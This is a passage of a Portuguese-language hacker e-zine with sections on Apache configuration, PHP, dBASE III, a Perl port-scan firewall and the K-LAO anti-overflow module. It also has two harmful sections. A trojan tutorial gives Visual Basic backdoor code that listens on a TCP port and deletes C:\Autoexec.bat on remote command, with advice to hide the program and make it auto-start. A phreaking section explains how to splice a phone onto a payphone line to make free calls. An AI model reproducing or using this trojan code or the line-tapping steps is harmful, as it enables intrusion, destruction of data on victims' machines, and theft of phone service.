    AddIcon /icons/blank.gif ^^BLANKICON^^

    #
    # DefaultIcon is which icon to show for files which do not have an icon
    # explicitly set.
    #
    DefaultIcon /icons/unknown.gif

    #
    # AddDescription allows you to place a short description after a file in
    # server-generated indexes.  These are only displayed for FancyIndexed
    # directories.
    # Format: AddDescription "description" filename
    #
    #AddDescription "GZIP compressed document" .gz
    #AddDescription "tar archive" .tar
    #AddDescription "GZIP compressed tar archive" .tgz

    #
    # ReadmeName is the name of the README file the server will look for by
    # default, and append to directory listings.
    #
    # HeaderName is the name of a file which should be prepended to
    # directory indexes. 
    #
    # If MultiViews are amongst the Options in effect, the server will
    # first look for name.html and include it if found.  If name.html
    # doesn't exist, the server will then look for name.txt and include
    # it as plaintext if found.
    #
    ReadmeName README
    HeaderName HEADER

    #
    # IndexIgnore is a set of filenames which directory indexing should ignore
    # and not include in the listing.  Shell-style wildcarding is permitted.
    #
    IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t

</IfModule>
# End of indexing directives.

#
# Document types.
#
<IfModule mod_mime.c>

    #
    # AddEncoding allows you to have certain browsers (Mosaic/X 2.1+) uncompress
    # information on the fly. Note: Not all browsers support this.
    # Despite the name similarity, the following Add* directives have nothing
    # to do with the FancyIndexing customization directives above.
    #
    AddEncoding x-compress Z
    AddEncoding x-gzip gz tgz

    #
    # AddLanguage allows you to specify the language of a document. You can
    # then use content negotiation to give a browser a file in a language
    # it can understand.  
    #
    # Note 1: The suffix does not have to be the same as the language 
    # keyword --- those with documents in Polish (whose net-standard 
    # language code is pl) may wish to use "AddLanguage pl .po" to 
    # avoid the ambiguity with the common suffix for perl scripts.
    #
    # Note 2: The example entries below illustrate that in quite
    # some cases the two character 'Language' abbreviation is not
    # identical to the two character 'Country' code for its country,
    # E.g. 'Danmark/dk' versus 'Danish/da'.
    #
    # Note 3: In the case of 'ltz' we violate the RFC by using a three char 
    # specifier. But there is 'work in progress' to fix this and get 
    # the reference data for rfc1766 cleaned up.
    #
    # Danish (da) - Dutch (nl) - English (en) - Estonian (ee)
    # French (fr) - German (de) - Greek-Modern (el)
    # Italian (it) - Korean (kr) - Norwegian (no)
    # Portugese (pt) - Luxembourgeois* (ltz)
    # Spanish (es) - Swedish (sv) - Catalan (ca) - Czech(cz)
    # Polish (pl) - Brazilian Portuguese (pt-br) - Japanese (ja)
    # Russian (ru)
    #
    AddLanguage da .dk
    AddLanguage nl .nl
    AddLanguage en .en
    AddLanguage et .ee
    AddLanguage fr .fr
    AddLanguage de .de
    AddLanguage el .el
    AddLanguage he .he
    AddCharset ISO-8859-8 .iso8859-8
    AddLanguage it .it
    AddLanguage ja .ja
    AddCharset ISO-2022-JP .jis
    AddLanguage kr .kr
    AddCharset ISO-2022-KR .iso-kr
    AddLanguage no .no
    AddLanguage pl .po
    AddCharset ISO-8859-2 .iso-pl
    AddLanguage pt .pt
    AddLanguage pt-br .pt-br
    AddLanguage ltz .lu
    AddLanguage ca .ca
    AddLanguage es .es
    AddLanguage sv .se
    AddLanguage cz .cz
    AddLanguage ru .ru
    AddLanguage zh-tw .tw
    AddLanguage tw .tw
    AddCharset Big5         .Big5    .big5
    AddCharset WINDOWS-1251 .cp-1251
    AddCharset CP866        .cp866
    AddCharset ISO-8859-5   .iso-ru
    AddCharset KOI8-R       .koi8-r
    AddCharset UCS-2        .ucs2
    AddCharset UCS-4        .ucs4
    AddCharset UTF-8        .utf8

    # LanguagePriority allows you to give precedence to some languages
    # in case of a tie during content negotiation.
    #
    # Just list the languages in decreasing order of preference. We have
    # more or less alphabetized them here. You probably want to change this.
    #
    <IfModule mod_negotiation.c>
        LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv tw
    </IfModule>

    #
    # AddType allows you to tweak mime.types without actually editing it, or to
    # make certain files to be certain types.
    #
    # For example, the PHP 3.x module (not part of the Apache distribution - see
    # http://www.php.net) will typically use:
    #
    #AddType application/x-httpd-php3 .php3
    #AddType application/x-httpd-php3-source .phps
    #
    # And for PHP 4.x, use:
    #
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    AddType application/x-tar .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers",
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action command (see below)
    #
    # If you want to use server side includes, or CGI outside
    # ScriptAliased directories, uncomment the following lines.
    #
    # To use CGI scripts:
    #
    #AddHandler cgi-script .cgi

    #
    # To use server-parsed HTML files
    #
    #AddType text/html .shtml
    #AddHandler server-parsed .shtml

    #
    # Uncomment the following line to enable Apache's send-asis HTTP file
    # feature
    #
    #AddHandler send-as-is asis

    #
    # If you wish to use server-parsed imagemap files, use
    #
    #AddHandler imap-file map

    #
    # To enable type maps, you might want to use
    #
    #AddHandler type-map var

</IfModule>
# End of document types.

#
# Action lets you define media types that will execute a script whenever
# a matching file is called. This eliminates the need for repeated URL
# pathnames for oft-used CGI file processors.
# Format: Action media/type /cgi-script/location
# Format: Action handler-name /cgi-script/location
#

#
# MetaDir: specifies the name of the directory in which Apache can find
# meta information files. These files contain additional HTTP headers
# to include when sending the document
#
#MetaDir .web

#
# MetaSuffix: specifies the file name suffix for the file containing the
# meta information.
#
#MetaSuffix .meta

#
# Customizable error response (Apache style)
#  these come in three flavors
#
#    1) plain text
#ErrorDocument 500 "The server made a boo boo.
#  n.b.  the single leading (") marks it as text, it does not get output
#
#    2) local redirects
#ErrorDocument 404 /missing.html
#  to redirect to local URL /missing.html
#ErrorDocument 404 /cgi-bin/missing_handler.pl
#  N.B.: You can redirect to a script or a document using server-side-includes.
#
#    3) external redirects
#ErrorDocument 402 http://some.other_server.com/subscription_info.html
#  N.B.: Many of the environment variables associated with the original
#  request will *not* be available to such a script.

#
# Customize behaviour based on the browser
#
<IfModule mod_setenvif.c>

    #
    # The following directives modify normal HTTP response behavior.
    # The first directive disables keepalive for Netscape 2.x and browsers that
    # spoof it. There are known problems with these browser implementations.
    # The second directive is for Microsoft Internet Explorer 4.0b2
    # which has a broken HTTP/1.1 implementation and does not properly
    # support keepalive when it is used on 301 or 302 (redirect) responses.
    #
    BrowserMatch "Mozilla/2" nokeepalive
    BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0

    #
    # The following directive disables HTTP/1.1 responses to browsers which
    # are in violation of the HTTP/1.0 spec by not being able to grok a
    # basic 1.1 response.
    #
    BrowserMatch "RealPlayer 4\.0" force-response-1.0
    BrowserMatch "Java/1\.0" force-response-1.0
    BrowserMatch "JDK/1\.0" force-response-1.0

</IfModule>
# End of browser customization directives

#
# Allow server status reports, with the URL of http://servername/server-status
# Change the ".your_domain.com" to match your domain to enable.
#
#<Location /server-status>
#    SetHandler server-status
#    Order deny,allow
#    Deny from all
#    Allow from .your_domain.com
#</Location>

#
# Allow remote server configuration reports, with the URL of
# http://servername/server-info (requires that mod_info.c be loaded).
# Change the ".your_domain.com" to match your domain to enable.
#
#<Location /server-info>
#    SetHandler server-info
#    Order deny,allow
#    Deny from all
#    Allow from .your_domain.com
#</Location>

#
# There have been reports of people trying to abuse an old bug from pre-1.1
# days.  This bug involved a CGI script distributed as a part of Apache.
# By uncommenting these lines you can redirect these attacks to a logging 
# script on phf.apache.org.  Or, you can record them yourself, using the script
# support/phf_abuse_log.cgi.
#
#<Location /cgi-bin/phf*>
#    Deny from all
#    ErrorDocument 403 http://phf.apache.org/phf_abuse_log.cgi
#</Location>

#
# Proxy Server directives. Uncomment the following lines to
# enable the proxy server:
#
#<IfModule mod_proxy.c>
#    ProxyRequests On

#    <Directory proxy:*>
#        Order deny,allow
#        Deny from all
#        Allow from .your_domain.com
#    </Directory>

    #
    # Enable/disable the handling of HTTP/1.1 "Via:" headers.
    # ("Full" adds the server version; "Block" removes all outgoing Via: headers)
    # Set to one of: Off | On | Full | Block
    #
#    ProxyVia On

    #
    # To enable the cache as well, edit and uncomment the following lines:
    # (no cacheing without CacheRoot)
    #
#    CacheRoot "/var/cache/proxy"
#    CacheSize 5
#    CacheGcInterval 4
#    CacheMaxExpire 24
#    CacheLastModifiedFactor 0.1
#    CacheDefaultExpire 1
#    NoCache a_domain.com another_domain.edu joes.garage_sale.com

#</IfModule>
# End of proxy directives.

### Section 3: Virtual Hosts
#
# VirtualHost: If you want to maintain multiple domains/hostnames on your
# machine you can setup VirtualHost containers for them. Most configurations
# use only name-based virtual hosts so the server doesn't need to worry about
# IP addresses. This is indicated by the asterisks in the directives below.
#
# Please see the documentation at <URL:http://www.apache.org/docs/vhosts/>
# for further details before you try to setup virtual hosts.
#
# You may use the command line option '-S' to verify your virtual host
# configuration.

#
# Use name-based virtual hosting.
#
#NameVirtualHost *

#
# VirtualHost example:
# Almost any Apache directive may go into a VirtualHost container.
# The first VirtualHost section is used for requests without a known
# server name.
#
#<VirtualHost *>
#    ServerAdmin webmaster@dummy-host.example.com
#    DocumentRoot /www/docs/dummy-host.example.com
#    ServerName dummy-host.example.com
#    ErrorLog logs/dummy-host.example.com-error_log
#    CustomLog logs/dummy-host.example.com-access_log common
#</VirtualHost>

# By default, all external Apache modules are disabled.  To enable a particular
# module for Apache, make sure the necessary packages are installed.  Then
# uncomment the appropriate Include line below, save the file, and restart
# Apache.  Note that some modules may need additional configuration steps (for
# example, mod_ssl requires a site certificate, you may need to generate that).
#
# Lastly, if you remove a module package, be sure to edit this file and comment
# out the appropriate Include line.

# ==> mod_php configuration settings <==
#
# PACKAGES REQUIRED:  ossllibs.tgz (A series), mysql.tgz (AP series),
#                     gmp.tgz (GTK series), and apache.tgz (N series)
#
Include /etc/apache/mod_php.conf

# ==> mod_ssl configuration settings <==
#
# PACKAGES REQUIRED:  apache.tgz (N series) and openssl.tgz (N series)
#
#Include /etc/apache/mod_ssl.conf





4- Como codar em php.

Bem no meu slack 8 foi assim... logo apos que eu terminei de reconfigurar 
o apache, eu entrei no /var/www/htdocs
e peguei o pico e fiz

# pico meu_php1.php

digitei dentro

<html>
<body>
<title>pagina de teste</title>
<?php
echo "Testandooo";
?>
</body>
</html>

salvei.... e digitei lynx 127.0.0.1
tava la o arkivo meu_php1.php, eu dei enter nele.. e apareceu meu php =]


5- Escrevendo sua primeira frase usando php

Escrever frase eh algo extremamente ridiculo, vc usa apenas o comando 
echo, mas antes de escrever, saiba de uma propriedade fundamental do php, 
antes de iniciar comandos em php, use a tag

#inicio <?php
seus comandos....
#fim ?>

sakou?
incia com <?php 
faz os comandos e assim que termina se usa ?>
=]

Vamos supor que vc ker escrever oi pro cara usando php
vc faz assim usando echo

<html>
<body>
<title>Teste</title>
<?php
echo "oi";
?>
</body>
</html>

Pronto =]
 

 
6- Mexendo com suas variaveis


Mexer com variaveis tb nao tem misterio, vc manda assim olha... se liga

$var1 = "valor1";
$nome_meu = "sort";
$linda = "Germana";

pronto, assim vc as declara

echo "Eu sou o $nome_meu que ama a $linda";

isso em um src basico, ficaria...

<html>
<body>
<title>Lalalala</title>
<?php
$var1 = "duhhh";
$nome_meu = "sort";
$linda = "Germana";
echo "Eu sou o $nome_meu que ama a $linda";
?>
</body>
</html>

pronto... agora vc ja sabe interpolar variaveis =]


7- Fim


Pronto, chegamos ao fim de um curso, gostaria de agradecer ao dexter_man 
que me deu um empurrao em php, eu tava meio perdido, valeu mano por ter me 
dado a mao =]
Assim como esse dexter_man jogou a mao e me ajudou, eu faco isso com 
qualquer um de vcs...pois eh raro ver uma atitude nobre destas =] 
Dexter_man valeu cara!
Keria agradecer tb ao user4fun, gotu, azso, floati, cidi, fingaum, blindi 
bardi, spyneo, wolfi,backz, a todos.... =]
Germana :******

sem mais. 


Um abraco a todos,
sort.

                                                     sort
                                                     sort005@yahoo.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [12]
==[ BD em III-DBASE ]==
==[ por Spawn       ]==


###################################
# .:Banco de Dados em III-DBASE:. #
###################################


Ol galera, esta  a primeira vez que escrevo para um zine, e fico muito feliz
por ja escrever para, na minha opnio, um dos melhores e mais completos zines.
Quero agradecer a oportunidade que o Gotoxy me deu, espero que gostem de meu 
textinho.  :-)

Vou dividir o texto em trez partes:
1 -  Oque  o III-DBASE
2 -  Criando bancos de dados 
3 -  Palavras Finais

----------------------------------------------

1 - .: Oque  o III-DBASE

	Desde quando foi lanado, o programa DBASE e um grande sucesso. Tudo 
faz crer que  o sistema de gerenciamento de dados mais usado em todo o pas.
	Existem atualmente cinco versoes do Dbase:  DBASE II, DBASE II Plus, 
DBASE III, DBASE III plus e DBASE IV. A versao II serve aos microcomputadores
de oito e de dezesseis bits, enquanto que as versoes III e IV so podem ser 
utilizadas em microcomputadores de dezesseis bits.
	Neste texto nos iremos trabalhar com o DBASE III Plus, usando os 
comandos do DBASE III.

	O Dbase III Plus e composto por oito programas:
DBASE.com
DBASEINL.OVL
DBASE.MSG
DBASE.LD1
CONFIG.DB
DBASE.OVL
ASSIST.HLP
HELP.DBS

	Bom nao irei entrar em detalhes ja que este texto  escrito para 
pessoas que ja tenham algum conhecimento em DBASE ou Clipper. Portanto irei 
a parte de criaao de bancos de dados.

-------------------------------------------------------------------

2 - Criando Bancos de Dados

	Bom com o IIIDBASE aberto e com o prompt esperando seu comando vamos 
listar alguns dos comandos mais importantes e suas sintaxes:

# CREAT #

Finalidade: Criar uma estrutura de um arquivo de banco de dados.

Formato: CREAT [ARQUIVO]

[ARQUIVO]:  o arquivo onde sera criado a estrutura.

Ex:  .CREAT DADOS
     campo	tipo	   Tamanho	Casas Decimais
     NOME	CARACTER   30		
     VALOR	NUMERICO   12    	2
     DATA       Data       8
     PAGAMENTO  Logico     1
     OBSERVACAO Memo

CAMPO: Qualquer  palavra, com ate 10 digitos.

	TIPOS DE CAMPOS

CARACTER  : Qualquer tipo de caracter.
NUMERICO  : Somente digitos numericos
DATA	  : Entrada de datas
LOGICO    : Somente T ou F, sendo T uma condiao verdadeira e F falsa
MEMO	  : Entrada de textos com o limite de 2 Kbytes.

	USE

Finalidade:  Abrir ou fechar um arquivo de banco de dados

EX 1 - .USE DADOS  -> Abre o arquivo DADOS.
EX 2 - .USE        -> Fecha o arquivo em uso.

	APPEND

Finalidade: Incluir novos registros no arquivo em uso.

Fomato: APPEND

EX   :  .USE DADOS
 	.APPEND
        NOME		:MARIA APARECIDA
	VALOR		:	100000.00:
	DATA		:10/01/72:
	PAGAMENTO	:T:
	OBSERVACAO	:MEMO:
	.USE

OBS: Entrada de dados dentro do campo memo e feita atraves das teclas CONTROL
 HOME; para sair gravando  CONTROL W e sair sem gravar  CONTROL Q.

	LIST STRUCTURE

Finalidade: listar a estrutura do arquivo em uso.

Formato: LIST ESTRUCTURE

EX: 	.USE DADOS
	.LIST STRUCTURE
	Estrutura do bco.dados : C:DADOS.dbf
	Numero de registros    :       3
	Data ultima atualizacao: 11/02/93
	Campo  Nome  Campo   Tipo     Larg     Dec
   	    1  NOME	     Caracter   30  
            2  VALOR         Numerico   12       2
            3  DATA	     Data	8
 	    4  PAGAMENTO     Logico     1
            5  OBSERVACAO    Memo      10 
         ** Total ** 			62
	.USE

OBS: O comando DISPLAY STRUCTURE tem a mesma funcao do que o LIST STRUCTURE.

	GOTO

Finalidade: Posiciona em um registro indicado

	DELETE

Finalidade: Marcar o registro posicionado para uma futura deletao

Formato: DELETE

Ex:  :
	.USE DADOS
	.LIST
	REG.     NOME 			VALOR	DATA	  OBSERVACAO
	00001	 ANA		   999000.00	26/01/71  memo
	00002    MARIA		     1000.00	21/12/71  memo
	.DELETE RECORD 2
	.LIST
Na saida do list o Registro 2 MARIA estara selecionado para ser apagado
e tera um *  depois do numero de registro.


--------------------------------------------------------------------

3 - Palavras Finais

Bom e isso ae eu vou ficando por aqui, mas voce pelo contrario tem muito ainda
que estudar sobre este interessante processo de banco de dados, existem muito
mais comandos e varias formas diferentes de se aproveitar este banco de dados.
Garanto que vc ira Encontrar a melhor maneira. E vai estudando e se aprofunde 
nesta bela linguagem de programaao que e o III-DBASE.

Novamente Agradeo Gotoxy pela oportunidade. 

 Ate o proximo Zine Galera! :-)
                                                 Spawn
                                                 spawn666@linuxmail.org
.:x|-------------------------------------------------------------------|x:.










SETOR [14]
==[ Criando um trojan ]==
==[ por Morfeu        ]==


Tpicos

00. O qu  um trojan?
01. O qu  preciso para criar um trojan?
02. Qual linguagem de programao utilizaremos?
03. Comeando a programar
04. Exemplo bsico de um trojan em Visual Basic
05. Palavras finais

----------------------
00. O qu  um trojan?
----------------------

Trojan  uma abreviatura de Trojan Horse (Cavalo de Tria).
Tem esse nome pela semelhana com o cavalo de madeira usado
pelos troianos pra invadir a base de seus inimigos.
Vendo pelo lado da informtica,  um programa que ouve em
uma porta do seu sistema e aguarda comandos de um cliente.

-----------------------------------------
01. O qu  preciso para criar um trojan?
-----------------------------------------

Um conhecimento bom em programao em qualquer linguagem.
Aconselho o uso de Delphi e Visual Basic p/ escrita de trojans
p/ Windows e C, Assembly ou LKM p/ escrita de trojans p/ Linux.

-----------------------------------------------
02. Qual linguagem de programao utilizaremos?
-----------------------------------------------

Visual Basic 5.0.

-------------------------
03. Comeando a programar
-------------------------

Pra comear a programar voc precisa saber umas coisas bsicas.
Aqui vo elas:

* Conhecer bem uma linguagem de programao, aqui, no caso do
tutorial a utilizada  o Visual Basic 5.0 da Micro$oft.
* O trojan deve ficar oculto na lista de tarefas do Windows
(ctrl alt del)
* O trojan deve ouvir em uma porta TCP ou UDP e aguardar comandos.
* O trojan deve interpretar os comandos recebidos pelo cliente
e os executar na mquina infectada(servidor).
* O trojan deve se auto iniciar junto com o Windows, para isso voc
pode usar uma chave no registro do Windows, autoexec.bat, win.ini
ou qualquer outro meio desde que o servidor se inicie com o Windows.

-----------------------------------------------
04. Exemplo bsico de um trojan em Visual Basic
-----------------------------------------------

Crie um projeto no Visual Basic e adicione a Winsock no formulrio
(Ctrl + T e marque a Microsoft Winsock Control 5.0)
D dois cliques no cone da winsock na toolbox p/ adiciona-la
ao nosso formulrio.
D dois cliques no formulrio p/ entrarmos na Code Window
Pronto... estamos na Code Window.  aqui que faremos o nosso trojan.
Escreva isso:

Private Sub Form_Load()
Winsock1.LocalPort = "12345"
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim recebido As String
Winsock1.GetData recebido
If recebido = "deletar_autoexec" Then
Kill "C:\Autoexec.bat"
End If
End Sub

Explicando o cdigo:

Winsock1.LocalPort = "12345"
* Configura a Winsock p/ ficar na porta 12345

Winsock1.Listen
* Coloca a Winsock em estado de espera(ouvindo) na porta 12345

Dim recebido As String
* Declara a varivel "recebido" como String

Winsock1.GetData recebido
* Informa a Winsock que a varivel "recebido" ir guardar
* todas as strings recebidas(enviadas pelo cliente)

If recebido = "deletar_autoexec" Then
Kill "C:\Autoexec.bat"
End If
* Esse cdigo diz que se a varivel "recebido" receber a string
"deletar_autoexec" o arquivo C:\Autoexec.bat ser deletado.

O bsico(muito bsico mesmo!!!) de um trojan  isso...

-------------------
05. Palavras finais
-------------------

Bem... chegamos ao fim desse tutorial...
Pra programar um trojan  preciso muito mais que isso mais o
ponta p inicial foi dado... 
Procure cdigos no site http://www.pscode.com
Procure fazer um curso de vb e/ou ler bastante tutoriais por a...
E  claro... Visite sempre: http://www.morfeu.n3.net

                                                          Morfeu
                                                          morfeu@mail.ru
.:x| -------------------------------------------------------------------|x:.










SETOR [15]
==[ Phreaking Parte II ]==
==[ por Picasso        ]==

################################
# Como ligar gratis do orelho #
################################


   Bom voc que ta puto de raiva ,de ficar pagando no sei quanto de telefone e 
ate internet na sua casa e quer um meio de no gastar nada aqui irei te ensinar 
hehehehe.

   Primeira coisa voc vai ter que arrumar algumas coisas: alicate, estilete, 
chave de fenda e um telefone(o menor possivel)
  
   Bom, depois de ter arrumado isso, consiga localizar um orelho, que fique 
deserto de preferencia anoite, (que e menos sujeira) coloque a mo atraz dele e 
procure por um fio...

ATENO: em alguns orelhes tem uma proteo ai que entra em cena o alicate 
depois de tirar a proteo "tire a proteo de baixo a que fica dos lados o fio 
no chega la hehehe tira logo tudo :)" 

A voc vai ver dois fios para enganar os menos esperientes procure um fio que
seja duplo mais junto depois descasque ele mais num vai corta ele no hehehehee 
agora pegue sei telefone e o fio aonde pluga na linha da sua casa o descasque
vai ter uns 4 fios amarelo,preto,verde e vermelho bom aqui eu uso soh os verde 
e vermelho teste eles dois primeiro separe o fio do orelho para que no fiquem 
encostados e bloqueiem a linha agora emende o seu fio com o do orelho depois 
que fizer o sinal de linha parabns agora voc pode ligar para qualquer lugar 
do mundo hehehehe divirta-se!!!

ahhhh uma ultima coisa tente esconder o fio descascado aqui no que eu fasso ele 
ta pra fora mais vc pode coloca-lo para dentro tipo tem um buraco que leva ele 
para baixo depois para o poste empurre ele e pronto mais tome cuidado para 
linha no ficar muda por causa que tem um ferro la ai pode bloquear a llinha 
e os caras da telemar vo se chamados e j era sua gambiarra hehehehe.


Voc pode me encontrar no canal do zine #zinesbr :)-


                                               Picasso
                                               victorpicasso@bol.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [16]
==[ Morfeu Firewall ]==
==[ por Morfeu      ]==

Fala galera... to aqui dessa vez pra publicar minha firewall feita em perl
O conceito eh bem simples...
Ela passa um portscan local no seu sistema a procura de portas abertas
e quando encontra alguma, pergunta se voce deseja filtra-la ou nao.
Apos sua decisao, o portscan continua procurando se h mais portas
abertas no seu sistema e caso encontre, faz a pergunta novamente e
assim por diante....

Mais ae Morfeu... o que eh filtrar ?
Filtrar (aqui no caso da firewall) eh impedir conexao vinda de qualquer
lugar com destino a nossa porta... pra isso usei uma regrinha da
ferramente que ja vem em todos os kerneis 2.0 e 2.2, o ipchains.

Abaixo segue o codigo:

------------------------------[ cut aki ]------------------------------

#Morfeu Firewall v2.0
#
#Essa ferramenta foi escrita visando a seguranda dos usuarios
#de distribuicao linux (qualquer uma) que trazem habilitados
#varios servicos como padrao. Prato cheio pra script kids fuderem
#seu sistema.
#
#Essa eh a versao 2.0 da minha firewall e foi feita em perl
#A primeira versao foi feita em C e filtrava portas pre-definidas
#por mim dentro do codigo fonte. Essa nova versao passa um
#scan local e quando acha uma porta aberta, pergunta se
#voce quer filtrar e filtra ou nao.
#
#Sinta-se a vontade para melhorar a ferramenta mais mantenha
#os creditos e se possivel, entre em contato comigo.
#
#Execute com: perl morfeu_firewall_v20.pl

#Site: http://www.morfeu.n3.net
#E-mail: morfeu@mail.ru

use Socket;

print "Morfeu Firewall v2.0\n\n";
$ip="localhost";

$inicio="1";

$fim="65535";

print "Scaneando da porta $inicio ate $fim\n";

$atual=$inicio;
while($atual < $fim)
{
&scan($atual);
$atual++;
}

print "Pronto!\n";

sub scan
{
$port = shift(@_);

if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
die("Especifique uma porta") unless $port;
$iaddr = inet_aton($ip) || die("Nao consigo achar: $ip");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Nao consigo abrir o socket: $!");
if(connect(SOCK, $paddr))# || die("Impossivel conectar em: $!");
{
print "A porta $port esta aberta, deseja filtra-la? (sim/nao)\n";

$resposta=<stdin>;

if ($resposta =~ "sim")
{
system "ipchains -A input -p tcp -s 0/0 -d 0/0 $port -j DENY";
}

}
close(SOCK);
}

exit;
------------------------------[ cut aki ]------------------------------


Para usar eh bem simples... basta colocar o source em um arkivo com
extensao .pl (morfeu_firewall_v20.pl, por exemplo) e logo em seguida
executar o mesmo com o seguinte comando:

bash~# perl morfeu_firewall_v20.pl

Pronto.. o resto  moleza...



  Vou terminando por aki, qualquer duvida, mail me!!!


                                                          Morfeu
                                                          morfeu@mail.ru
.:x| -------------------------------------------------------------------|x:.










SETOR [17]
==[ Local Anti Overflow ]==
==[ por Gotoxy          ]==

#######################
# Local Anti Overflow #
#######################

Topicos:

1. Introducao
2. K-LAO
   2.1. Instalacao & Uso
   2.2. Configuracao 
   2.3. Observacoes
3. Referencias
4. Terminando


##############
1 - Introducao
##############

A empresa Kimera (www.kimera.com.br) publicou uma ferramenta muito eficaz 
contra ataques de Buffer Overflows Locais cujo nome eh K-lao. Ele esta
escrito em LKM e consiste em dificultar a acao de exploits locais, isto
eh, exploits nao-remotos!:p 

No decorrer do texto, vou vai saber mais sobre essa ferramenta anti 
overflows... o primeiro passo eh voce obte-lo, para isso, entre no site
da Kimera (www.kimera.com.br) e depois entre na secao 'Personal Tools',
localizado no subtopico 'Nossos Servicos'. Apos isso, baixe o K-Lao.


#########
2 - K-LAO 
#########

K-LAO
Kimera - Local Anti Overflow

Como eu ja disse na Introducao, essa ferramenta consiste em proteger
seu sistema contra ataques de overflows localmente. Instala-lo em seu
sistema sera muito util para aumentar a seguranca do mesmo, mas nao
pense que instalando ele voce estara livre de qualquer ataque de buffer
overflow. Existem muitos hackers que sao capazes de burlar ferramentas
tais como o K-LAO e assim executar qualquer exploit sem a percepcao de
ferramentas anti-overflows.

O K-LAO funciona da seguinte forma: ele trabalha como um intermediario
entre um aplicacao qualquer e o ambiente shell (bash, por exemplo),
e assim, detectando e reagingo a tentativas de bufferoverflows. Apos
ocorrer uma tentativa de bufferoverflow, o K-LAO registra tudo no 
syslog (loga quem executou, em qual arkivo e a que horas ocorreu a
tentativa) e executa o /bin/false, retornando assim, a shell normal.

Ele foi escrito em um sistema rodando Slackware 7.0(2.2.13) e assim
nao eh possivel instala-lo em maquinas rodando kerneis da serie 2.0.X
ou 2.2.4, pois ele nao possui portabilidade para essas versoes da kernel.


######################
2.1 - Instalacao & Uso
######################

A instalacao eh bastante simples. 
O primeiro passo eh descompacta-lo, faca isso digitando:

# tar -zxvf k-lao-0.3.tar.gz

Com a pasta klao-0.3 criada, o seguinte passo eh entrar nela. Agora
sete a permissao de execucao no arkivo k-lao.sh (chmod +x k-lao.sh)
e depois execute-o.

# chmod +x k-lao.sh
# ./k-lao.sh

K-LAO 0.3 - Kimera - Local Anti-Overflow

Uso: ./k-lao.sh <opcao>

opcao pode ser:

ins  -> Compilar a Ferramenta KLAO
car  -> Carregar Ferramenta no Sistema
des  -> Descarregar Ferramenta do Sistema

Primeiramente, temos que compilar a ferramenta, portanto, digite:

# ./k-lao.sh ins

Antes de carrega-lo em seu sistema, entre no diretorio 'teste' e
digite make, depois digite ./exploit 550. Voce vai perceber que
voce obtera root. Agora volte ao diretorio anterior e digite
# ./k-lao.sh car 
para carregar o LKM em seu sistema.. novamente, entre no diretorio
teste e execute o exploit novamente.. voce vai ver que voce nao
obtera exito!! Isso gracas ao K-LAO! Consulte o arkivo syslog
(/var/log/syslog)...e observe q realmente tudo foi logado.

Eu pedi para que voce compila-se os arkivos do diretorio 'teste'
primeiro antes de carregar o LKM em seu sistema, porque o GCC,
o make, etc, sao ferramentas que geram falsos positivos... sendo
assim, eh necessario executa-las quando o k-lao estiver descarregado
no sistema!! Sobre mais informacoes do que eu to falando aki, consulte
o README que vem anexado junto ao K-lao, na secao 2.1 - Problemas e
Recomendacoes.


##################
2.2 - Configuracao
##################

Voce ja viu que o K-lao funciona perfeitamente em seu sistema..
mas akilo foi a instalacao padrao dele, ou seja, nem editamos o
arkivo klao.c para mudar suas configuracoes padroes! Saiba que
voce pode modifica-lo de acordo com sua preferencia...

Um exemplo do que voce pode fazer eh mudar o tamanho maximo 
permitido para os argumentos da linha de comando... como default, 
o tamanho maximo esta 50! Vamos fazer uns testes... o LKM ja
esta carregado?? nao sabe? digite lsmod e veja se o klao aparece
la.. caso nao esteja carregado, carregue-o:

# ./k-lao.sh car

bem.. agora digite na shell:

# ls `perl -e 'print "A" x 50'`
/bin/ls: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file
or directory

como voce pode perceber, foi possivel executarmos 50 argumentos na
linha de comando... mas se voce digitar mais que 50 argumentos, sabe
o que acontece?? nem eu!:p vamos ver:

# ls `perl -e 'print "A" x 51'`
Tentativa de Overflow em /bin/ls por 0

hmmm... agora sabemos!! o k-lao detecta como sendo uma tentativa
de overflow! Mas voce pode mudar o tamanho permitido, basta apenas
editar o klao.c e mudar a linha "#define  TAM  50'", para o tamanho
que voce quer, por exemplo 40, entao ficaria "#define  TAM  40".
Apos as mudancas no codigo, voce deve novamente compila-la!

Cabe agora a voce tomar as precaucoes necessarias e setar 
corretamente o tamanho dos buffers a nivel local!

(...)

No klao.c voce encontra uma linha assim:

//#define ARQUIVO "/kimera/projetos/klao/resposta"
#define ARQUIVO "/bin/false"

O ARQUIVO eh o arkivo a ser executado apos o Klao detectar uma
tentativa de bufferoverflow em seu sistema. Isso eh uma resposta
do que vai acontecer.. portanto, voce pode por exemplo colocar
uma especie de aviso para a pessoa que executou o exploit.. um
exemplo seria assim: criar um shellscript (aviso.sh) e deixa-lo no
/bin... veja um exemplo de uma alerta para o invasor:

####### aviso.sh #########      
#!/bin/sh
/usr/bin/clear
echo "Voce foi detectado pelo K-LAO (Kimera - Local Anti Overflow),
seu IP foi logado e as medidas necessarias serao tomadas."
echo
echo " Todo cuidado eh pouco... e voce nao teve! Meus pesames... "
echo
##########################

Colocado esse arkivo no /bin e nomeado para aviso.sh, basta agora
editar o klao.c e mudar de:

//#define ARQUIVO "/kimera/projetos/klao/resposta"
#define ARQUIVO "/bin/false"

para:

#define ARQUIVO "/bin/aviso.sh"
//#define ARQUIVO "/bin/false"

Compile o K-lao, logo apos execute aquele exploit que esta localizado no 
diretorio 'teste'. Agora, aprecie o resultado..:)

(...)

Sempre que voce reinicia seu sistema, o Klao eh descarregado... e aih vc
precisa carrega-lo novamente... para evitar isso, voce pode fazer com q ele
seja carregado toda vez automaticamente no seu sistema!!
